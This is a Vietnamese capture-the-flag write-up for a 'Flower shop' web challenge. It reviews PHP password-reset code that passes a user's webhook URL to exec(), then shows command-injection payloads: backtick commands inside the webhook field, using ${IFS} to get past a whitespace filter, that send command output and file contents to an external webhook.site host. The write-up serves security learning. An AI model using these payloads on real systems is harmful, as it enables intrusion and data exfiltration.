# Flower shop

## Recon and review source code
Ngay khi vừa mở challenge lên ta có thể thấy được các chức năng cơ bản của một trang web như là đăng nhập, đăng ký và reset mật khẩu

Người dùng được yêu cầu phải nhập vào đó một webhook để có thể reset mật khẩu ta thử đăng nhập với một user bình thường xem thế nào

Sau khi tạo thành công tài khoản giờ chính là lúc chúng ta thử chức năng reset mật khẩu

Vậy là ta có thể thấy được rằng webhook có chức năng gửi một mật khẩu khác cho người dùng để họ đăng nhập vào giờ là lúc ta review source code
Khi nhìn vào file reset password thì ta có thể thấy được một vùng mà ta có thể chèn vào đó là payload của chúng ta
```php=
class ResetController extends Reset {
private $uid;
private $wh;
private $tmpPass;
public function __construct($uid) {
$this->uid = $uid;
}
public function resetPassword() {
$this->wh = $this->checkUser($this->uid);
if (!$this->wh) {
header("location: ../login.php?error=InvalidUser");
exit();
}
$this->tmpPass = $this->tmpPwd($this->uid);
exec("php ../scripts/send_pass.php " . $this->tmpPass . " " . $this->wh . " > /dev/null 2>&1 &");
return $this->tmpPass;
}
}
```
Không khó để thấy ở dòng 20 ta có một chỗ để chèn vào đó một câu lệnh OS để triển khai command injection
## Exploit
Nhưng cái khó là kể cả ta sử dụng những cách để nói chuỗi thì cũng khó có thể đạt được mong muốn do ở file thực hiện việc gửi mật khẩu có yêu cầu đầu vào là hai tham số ta có thể thấy được như sau
```php=
<?php
$tmpPwd = $argv[1]; // hfjskguz169424518945754926
$wh = $argv[2]; // https://webhook.site/ccaa6f34-75b3-4e18-8584-5a1653a0e0a1
$data = array('tmp_pass' => $tmpPwd); // data = tmpPwd
$ch = curl_init(); // triển khai curl
curl_setopt($ch, CURLOPT_URL, $wh);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
var_dump($response);
curl_close($ch);
?>
```
Nếu như ta thêm vào đó là những dấu như là ";", "||" thì cái webhook sẽ bị sai vì thế sẽ không thể chạy được chưa kể cái này còn có filter khoảng trắng nữa đã thử trên localhost nên ta cần một cái payload nào đó căng hơn có thể gửi được cả hai thứ thứ nhất là mật khẩu tạm thời cho người dùng thứ hai chính là kết quả của câu lệnh os vì vậy ta cần phải chèn thêm một tham số ở trong chính webhook mà ta đưa vào trong hệ thống ta thử với một webhook trông như sau (đăng ký một người dùng mới với webhook là payload)
```bash=
https://webhook.site/ccaa6f34-75b3-4e18-8584-5a1653a0e0a1?cmd=`whoami`
```

Vậy là ta đã thành công trong việc đưa một câu lệnh OS vào bên trong hệ thống nhưng tại sao nó lại là được thì chính là do cặp dấu backticks cặp dấu này có tác dụng là đưa kết quả của một câu lệnh và lưu vào trong một biến và ở đây chính là biến ```cmd```
Ở thử thách nào thay vì là đọc flag trong file flag.txt ta sẽ được nó ở trong file admin.php vì vậy ta dùng webhook sau để thực hiện nó
```bash=
https://webhook.site/ccaa6f34-75b3-4e18-8584-5a1653a0e0a1?cmd=`grep${IFS}"CACI"${IFS}/var/www/html/admin.php${IFS}|${IFS}cut${IFS}-c9-`
```
## Flag
